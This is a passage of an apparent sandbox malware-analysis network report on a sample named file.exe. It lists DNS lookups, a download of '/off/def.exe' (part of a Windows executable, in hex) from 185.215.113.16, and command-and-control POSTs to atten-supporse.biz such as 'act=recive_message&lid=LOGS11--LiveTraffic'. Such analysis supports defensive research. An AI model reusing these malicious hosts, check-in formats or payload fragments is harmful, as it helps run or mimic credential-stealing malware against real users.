Dec 10, 2024 05:47:40.711235046 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:47:40.750979900 CET	49773	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:47:40.750989914 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:47:40.800273895 CET	49773	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:47:48.008199930 CET	49703	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:48.008363962 CET	49703	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:48.008802891 CET	49822	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:48.008841991 CET	443	49822	23.1.237.91	192.168.2.5
Dec 10, 2024 05:47:48.008915901 CET	49822	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:48.009160995 CET	49822	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:48.009177923 CET	443	49822	23.1.237.91	192.168.2.5
Dec 10, 2024 05:47:48.127526045 CET	443	49703	23.1.237.91	192.168.2.5
Dec 10, 2024 05:47:48.127548933 CET	443	49703	23.1.237.91	192.168.2.5
Dec 10, 2024 05:47:49.348742008 CET	443	49822	23.1.237.91	192.168.2.5
Dec 10, 2024 05:47:49.348896027 CET	49822	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:47:50.401652098 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:47:50.401722908 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:47:50.401990891 CET	49773	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:47:50.430089951 CET	49773	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:47:50.430109978 CET	443	49773	142.250.181.100	192.168.2.5
Dec 10, 2024 05:48:08.721378088 CET	443	49822	23.1.237.91	192.168.2.5
Dec 10, 2024 05:48:08.721453905 CET	49822	443	192.168.2.5	23.1.237.91
Dec 10, 2024 05:48:38.928581953 CET	50003	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:48:38.928623915 CET	443	50003	142.250.181.100	192.168.2.5
Dec 10, 2024 05:48:38.928690910 CET	50003	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:48:38.929016113 CET	50003	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:48:38.929030895 CET	443	50003	142.250.181.100	192.168.2.5
Dec 10, 2024 05:48:40.617826939 CET	443	50003	142.250.181.100	192.168.2.5
Dec 10, 2024 05:48:40.618201017 CET	50003	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:48:40.618216038 CET	443	50003	142.250.181.100	192.168.2.5
Dec 10, 2024 05:48:40.618501902 CET	443	50003	142.250.181.100	192.168.2.5
Dec 10, 2024 05:48:40.618870020 CET	50003	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:48:40.618938923 CET	443	50003	142.250.181.100	192.168.2.5
Dec 10, 2024 05:48:40.670926094 CET	50003	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:48:50.327545881 CET	443	50003	142.250.181.100	192.168.2.5
Dec 10, 2024 05:48:50.327614069 CET	443	50003	142.250.181.100	192.168.2.5
Dec 10, 2024 05:48:50.327693939 CET	50003	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:48:50.552335024 CET	50003	443	192.168.2.5	142.250.181.100
Dec 10, 2024 05:48:50.552356958 CET	443	50003	142.250.181.100	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 05:46:59.685393095 CET	54559	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:46:59.980211020 CET	53	54559	1.1.1.1	192.168.2.5
Dec 10, 2024 05:47:34.735641956 CET	53	52707	1.1.1.1	192.168.2.5
Dec 10, 2024 05:47:34.767172098 CET	53	62163	1.1.1.1	192.168.2.5
Dec 10, 2024 05:47:37.535259008 CET	53	57524	1.1.1.1	192.168.2.5
Dec 10, 2024 05:47:38.875823021 CET	53917	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:47:38.875951052 CET	61286	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:47:39.012819052 CET	53	61286	1.1.1.1	192.168.2.5
Dec 10, 2024 05:47:39.013016939 CET	53	53917	1.1.1.1	192.168.2.5
Dec 10, 2024 05:47:41.198255062 CET	50766	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:47:41.198440075 CET	64642	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:47:44.540633917 CET	59381	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:47:44.540633917 CET	55742	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:47:48.390790939 CET	57277	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:47:48.390922070 CET	60108	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:47:48.883025885 CET	53	56805	1.1.1.1	192.168.2.5
Dec 10, 2024 05:47:54.641405106 CET	53	63387	1.1.1.1	192.168.2.5
Dec 10, 2024 05:48:13.419636965 CET	53	57215	1.1.1.1	192.168.2.5
Dec 10, 2024 05:48:34.264127970 CET	53	54922	1.1.1.1	192.168.2.5
Dec 10, 2024 05:48:36.345865011 CET	53	49287	1.1.1.1	192.168.2.5
Dec 10, 2024 05:48:48.402210951 CET	59560	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:48:48.402381897 CET	52875	53	192.168.2.5	1.1.1.1
Dec 10, 2024 05:49:07.169501066 CET	53	64928	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 05:46:59.685393095 CET	192.168.2.5	1.1.1.1	0xeab2	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:38.875823021 CET	192.168.2.5	1.1.1.1	0xf572	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:38.875951052 CET	192.168.2.5	1.1.1.1	0x34c0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 05:47:41.198255062 CET	192.168.2.5	1.1.1.1	0x328c	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:41.198440075 CET	192.168.2.5	1.1.1.1	0x5552	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 10, 2024 05:47:44.540633917 CET	192.168.2.5	1.1.1.1	0x1ee2	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:44.540633917 CET	192.168.2.5	1.1.1.1	0x1eae	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 10, 2024 05:47:48.390790939 CET	192.168.2.5	1.1.1.1	0x2954	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:48.390922070 CET	192.168.2.5	1.1.1.1	0x4524	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 10, 2024 05:48:48.402210951 CET	192.168.2.5	1.1.1.1	0x60b6	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:48:48.402381897 CET	192.168.2.5	1.1.1.1	0x272b	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 05:46:59.980211020 CET	1.1.1.1	192.168.2.5	0xeab2	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:46:59.980211020 CET	1.1.1.1	192.168.2.5	0xeab2	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:46:59.980211020 CET	1.1.1.1	192.168.2.5	0xeab2	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:46:59.980211020 CET	1.1.1.1	192.168.2.5	0xeab2	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:46:59.980211020 CET	1.1.1.1	192.168.2.5	0xeab2	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:46:59.980211020 CET	1.1.1.1	192.168.2.5	0xeab2	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:46:59.980211020 CET	1.1.1.1	192.168.2.5	0xeab2	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:39.012819052 CET	1.1.1.1	192.168.2.5	0x34c0	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 10, 2024 05:47:39.013016939 CET	1.1.1.1	192.168.2.5	0xf572	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:41.595093012 CET	1.1.1.1	192.168.2.5	0x5552	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:41.595093012 CET	1.1.1.1	192.168.2.5	0x5552	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:41.710220098 CET	1.1.1.1	192.168.2.5	0x328c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:41.710220098 CET	1.1.1.1	192.168.2.5	0x328c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:41.710220098 CET	1.1.1.1	192.168.2.5	0x328c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:41.710220098 CET	1.1.1.1	192.168.2.5	0x328c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:41.773933887 CET	1.1.1.1	192.168.2.5	0x18bd	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:41.774606943 CET	1.1.1.1	192.168.2.5	0xdc72	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:41.774606943 CET	1.1.1.1	192.168.2.5	0xdc72	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:41.774606943 CET	1.1.1.1	192.168.2.5	0xdc72	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:44.396362066 CET	1.1.1.1	192.168.2.5	0xdacb	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:44.396362066 CET	1.1.1.1	192.168.2.5	0xdacb	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:44.396362066 CET	1.1.1.1	192.168.2.5	0xdacb	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:44.396384001 CET	1.1.1.1	192.168.2.5	0x6232	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:44.677184105 CET	1.1.1.1	192.168.2.5	0x1ee2	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:44.677184105 CET	1.1.1.1	192.168.2.5	0x1ee2	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:44.677184105 CET	1.1.1.1	192.168.2.5	0x1ee2	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:44.677184105 CET	1.1.1.1	192.168.2.5	0x1ee2	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:47:44.678338051 CET	1.1.1.1	192.168.2.5	0x1eae	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:44.678338051 CET	1.1.1.1	192.168.2.5	0x1eae	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:48.799310923 CET	1.1.1.1	192.168.2.5	0x4524	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:48.813942909 CET	1.1.1.1	192.168.2.5	0x2954	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:55.208132982 CET	1.1.1.1	192.168.2.5	0x61c0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:47:55.240153074 CET	1.1.1.1	192.168.2.5	0x29ff	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:48:01.781874895 CET	1.1.1.1	192.168.2.5	0x8898	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:48:01.783324003 CET	1.1.1.1	192.168.2.5	0xf1e0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:48:48.540008068 CET	1.1.1.1	192.168.2.5	0x272b	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:48:48.627722979 CET	1.1.1.1	192.168.2.5	0x60b6	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49723	185.215.113.16	80	5812	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:47:22.346360922 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 10, 2024 05:47:23.730058908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:47:23 GMT Content-Type: application/octet-stream Content-Length: 2817536 Last-Modified: Tue, 10 Dec 2024 04:31:15 GMT Connection: keep-alive ETag: "6757c413-2afe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 c9 72 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +r+`Ui` @ @.rsrc`2@.idata 8@iqfgoyby*:@fltcogvq @+@.taggant@`+"*@
Dec 10, 2024 05:47:23.730078936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:47:23.730091095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:47:23.730149984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:47:23.730238914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:47:23.730252028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:47:23.730264902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 10, 2024 05:47:23.730441093 CET	1236	IN	Data Raw: 59 ab b6 18 22 0e b4 df b8 df b5 57 a9 29 da c9 5c 52 f0 b9 17 f4 e1 79 ee 99 ff d6 6e 54 8f ed 00 27 29 3e 74 36 50 fa 50 5e fa cf 83 f0 63 da c7 98 93 c9 0b a5 c2 95 b7 f6 b8 93 c7 a0 7e ec c3 ad c3 19 22 a2 c7 31 1e c9 96 8f ad cf b8 68 fc 86 Data Ascii: Y"W)\RynT')>t6PP^c~"1hCvr/<h[umF%zoY!5'@TDTgn='e1$+o&Gz~5=RFyUj
Dec 10, 2024 05:47:23.730473042 CET	1236	IN	Data Raw: 4d aa 9d 2f 66 aa 99 bb 5c 7f 15 d0 9e c7 9f 46 f8 bf c3 d3 29 f4 01 b7 e7 22 f9 1f c6 e7 c9 18 f8 bf 09 ba 59 07 06 1b 55 b4 47 98 c6 aa dd 19 f8 0b 9e 07 2a e3 ed cd 13 4e e3 13 fe c7 41 ef 27 c6 29 74 9f 2b d2 a1 c6 27 b1 18 38 d6 49 68 30 6f Data Ascii: M/f\F)"YUGNA')t+'8Ih0o!GZa9w1)C?;s?d1"~ba%5Yb+qi2DZ%MID8Ff+7s'?0HLwQXA,9
Dec 10, 2024 05:47:23.730484962 CET	1236	IN	Data Raw: 05 cd c6 1e 2c ef 9d ea 08 02 8e 1a b1 83 d0 4c b3 b4 9b 07 f6 9a f9 7e a2 11 11 f7 12 8f ea 7d 1c c2 0f 09 b4 2e fb dc 46 10 6b eb d7 d5 0a af 08 a7 e9 29 a6 04 4f fc c7 b7 3f fc 16 14 ee 72 30 9a f1 c6 c9 10 da 20 b5 5d 29 19 3e 3a a6 6b 79 81 Data Ascii: ,L~}.Fk)O?r0 ])>:ky#:Xq~Fb;B~]48isF3%/O>Tjwu!#(^*J3\TyV"RWHl_{35#B#
Dec 10, 2024 05:47:23.850325108 CET	1236	IN	Data Raw: be e2 56 84 d0 d3 c0 f3 d3 4f ba dc 9a b3 fb b8 a3 9a cf 58 a4 d3 dd e7 a6 bd 71 00 a5 a2 54 c9 a3 a3 d7 25 f7 d6 2b ab 29 8e 64 0f 03 64 a2 46 fd 69 e5 1c 05 05 96 d7 f7 b5 cb 2c 1e 16 f2 25 ae 08 d4 1a 14 14 df 86 78 ca b4 a8 68 00 f1 5a 18 8f Data Ascii: VOXqT%+)ddFi,%xhZLB#CC\4@pvx#QP+bgrTA,:;lJ2.C+yg\|#!I/{7'SaCQ

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.21.16.1	443	5812	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:47:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-10 04:47:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 04:47:01 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:47:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lmidg91sn02tg2ugd2ke5hf15p; expires=Fri, 04-Apr-2025 22:33:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j9xw8OMgRSL1oWlO%2BUe45TdrduDpoFCgVRcy4kTrOJMn1JR1wjCNx3ktbO%2BHKnaDaJYe3wy%2FOOk0c3%2FoT1r2d2h6beXFjWcok5eOGMwXQmKij0JiB5w7IHICBAoffzzYIOeflns%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa98324bea42f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1570&rtt_var=601&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1802469&cwnd=195&unsent_bytes=0&cid=291b6d915f3f82af&ts=752&x=0"
2024-12-10 04:47:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 04:47:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.16.1	443	5812	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:47:03 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-10 04:47:03 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-10 04:47:04 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:47:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fjgcgc15nujsdasbh4btn816lj; expires=Fri, 04-Apr-2025 22:33:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cug5z8FMxINQbwbtF9pBZAOAy%2BBBeGvg8I9ShissXlVFmpOnFyHonsohLy8GOLwhjvWoekJY7wuQAM5zs2nTcIwQxXAZEF9Fgde6T0lWvBPNW6QG0dRd%2BqjBxFTMZQSPtPzyzRs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa983f1e7541c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1557&min_rtt=1545&rtt_var=603&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1778319&cwnd=205&unsent_bytes=0&cid=2b2b422c080191f6&ts=1048&x=0"
2024-12-10 04:47:04 UTC	355	IN	Data Raw: 34 64 65 0d 0a 52 39 50 53 59 71 4d 37 45 33 6b 48 51 41 70 31 32 4e 47 42 7a 35 33 47 77 50 4b 46 6f 4a 6e 32 46 55 6f 6c 72 68 39 45 31 4a 55 38 38 61 52 41 6d 51 38 2f 57 33 51 6c 4b 45 2b 73 6f 2f 53 71 73 65 53 68 6c 71 65 61 2f 35 64 35 4f 55 43 43 50 54 4b 35 74 33 32 31 73 77 37 51 58 6a 39 62 59 6a 67 6f 54 34 4f 71 6f 36 72 7a 35 50 72 51 34 4d 72 37 6c 33 6b 6f 52 4d 56 77 4e 4c 6a 32 4c 37 2b 31 43 73 5a 59 64 78 68 72 4c 57 38 51 76 62 44 72 6f 66 53 72 71 4a 2b 6e 6a 4c 75 54 62 32 67 66 6a 46 49 68 6f 50 51 4b 73 71 45 4a 67 55 59 2f 41 69 55 6c 5a 46 66 69 38 2b 43 71 2f 36 71 6d 6c 75 37 49 38 5a 35 78 4b 55 48 45 62 79 32 79 2f 53 2b 78 74 67 76 4d 55 57 4d 56 59 53 70 6b 46 72 65 77 6f 2b 4f 2f 6f 37 72 51 76 34 4b 6f 70 6e 51 35 56 74 Data Ascii: 4deR9PSYqM7E3kHQAp12NGBz53GwPKFoJn2FUolrh9E1JU88aRAmQ8/W3QlKE+so/SqseShlqea/5d5OUCCPTK5t321sw7QXj9bYjgoT4Oqo6rz5PrQ4Mr7l3koRMVwNLj2L7+1CsZYdxhrLW8QvbDrofSrqJ+njLuTb2gfjFIhoPQKsqEJgUY/AiUlZFfi8+Cq/6qmlu7I8Z5xKUHEby2y/S+xtgvMUWMVYSpkFrewo+O/o7rQv4KopnQ5Vt
